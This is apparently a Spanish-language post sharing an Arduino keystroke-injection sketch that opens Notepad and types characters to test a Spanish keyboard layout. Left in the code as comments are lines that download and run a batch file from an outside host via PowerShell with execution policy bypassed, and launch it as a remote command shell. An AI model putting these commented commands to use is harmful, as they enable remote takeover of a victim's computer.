¿Como probar si salen todas mis teclas en el arduino?

Bueno es simple aquí les dejare un sencillo código :





/*
 * Generated with <3 by Dckuino.js, an open source project !
 */

#include "Keyboard.h"

void typeKey(uint8_t key)
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

/* Init function */
void setup()
{
  // Begining the Keyboard stream
  Keyboard.begin();

  // Wait 500ms
  delay(500);

  delay(400);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();

  delay(100);

  Keyboard.print(F("NOTEPAD"));

  typeKey(KEY_RETURN);

  
    delay(200);

  Keyboard.print(F("@!$%&/()=?     X 5555 [ ]   arroba si sale \n"));
  
//  Keyboard.write (0xC1); // parece q es f1
  Keyboard.print("\n AHORA ES abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\ !#$%&:/<> \n");
//Keyboard.write (62); 

Keyboard.write (52); Keyboard.print(F(" = codigo 52 \n "));
Keyboard.write (53); Keyboard.print(F(" = codigo 53 \n "));
Keyboard.write (54); Keyboard.print(F(" = codigo 54 \n "));
Keyboard.write (55); Keyboard.print(F(" = codigo 55 \n "));
Keyboard.write (56); Keyboard.print(F(" = codigo 56 \n "));
Keyboard.write (57); Keyboard.print(F(" = codigo 57 \n "));
Keyboard.write (58); Keyboard.print(F(" = codigo 58 \n "));
Keyboard.write (59); Keyboard.print(F(" = codigo 59 \n "));
Keyboard.write (60); Keyboard.print(F(" = codigo 60 \n "));
Keyboard.write (61); Keyboard.print(F(" = codigo 61 \n "));
Keyboard.write (62); Keyboard.print(F(" = codigo 62 \n "));

Keyboard.write (63); Keyboard.print(F(" = codigo 63 \n "));
Keyboard.write (64); Keyboard.print(F(" = codigo 64 \n "));
Keyboard.write (65); Keyboard.print(F(" = codigo 65 \n "));
Keyboard.write (66); Keyboard.print(F(" = codigo 66 \n "));
Keyboard.write (67); Keyboard.print(F(" = codigo 67 \n "));
Keyboard.write (68); Keyboard.print(F(" = codigo 68 \n "));

/*
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press('6');
  Keyboard.press('2');
  Keyboard.releaseAll();
  */
  

  delay(100);

  /*Keyboard.print(F("cd / & mkdir win & cd win & echo (wget 'http://kambell.pe/sys/1/batman.bat' -OutFile a.bat) > b.PS1 & powershell -ExecutionPolicy ByPass -File b.ps1"));
*/
  typeKey(KEY_RETURN);

  delay(550);

  /* Keyboard.print(F("START /MIN a.bat IP PORT -e cmd.exe -d & exit")); */

  typeKey(KEY_RETURN);

  // Ending stream
  Keyboard.end();
}

/* Unused endless loop */
void loop() {}




************************
Este sencillo código nos permite ver y saber si nuestros caracteres estan correctamente


el resultado debe ser similar a este:

@!$%&/()=?     X 5555 [ ]   arroba si sale 

 AHORA ES abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\ !#$%&:/<> 
4 = codigo 52 
 5 = codigo 53 
 6 = codigo 54 
 7 = codigo 55 
 8 = codigo 56 
 9 = codigo 57 
 : = codigo 58 
 ; = codigo 59 
 < = codigo 60 
 = = codigo 61 
 > = codigo 62 
 ? = codigo 63 
 @ = codigo 64 
 A = codigo 65 
 B = codigo 66 
 C = codigo 67 
 D = codigo 68 

Bueno si les sale asi es que ya les va bien su tabla de caracteres si no les sale asi es que tienen que cambiar el keyboard.cpp de su librería por el mio que yo publique, solo para gente que utiliza teclado español internacional